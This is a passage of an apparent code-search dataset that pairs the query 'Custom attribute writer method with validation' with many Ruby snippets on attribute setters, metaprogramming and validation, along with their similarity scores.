"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def home_phone=(home_phone)
if !home_phone.nil? && home_phone.to_s.length > 15
fail ArgumentError, "invalid value for 'home_phone', the character length must be smaller than or equal to 15."
end
@home_phone = home_phone
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
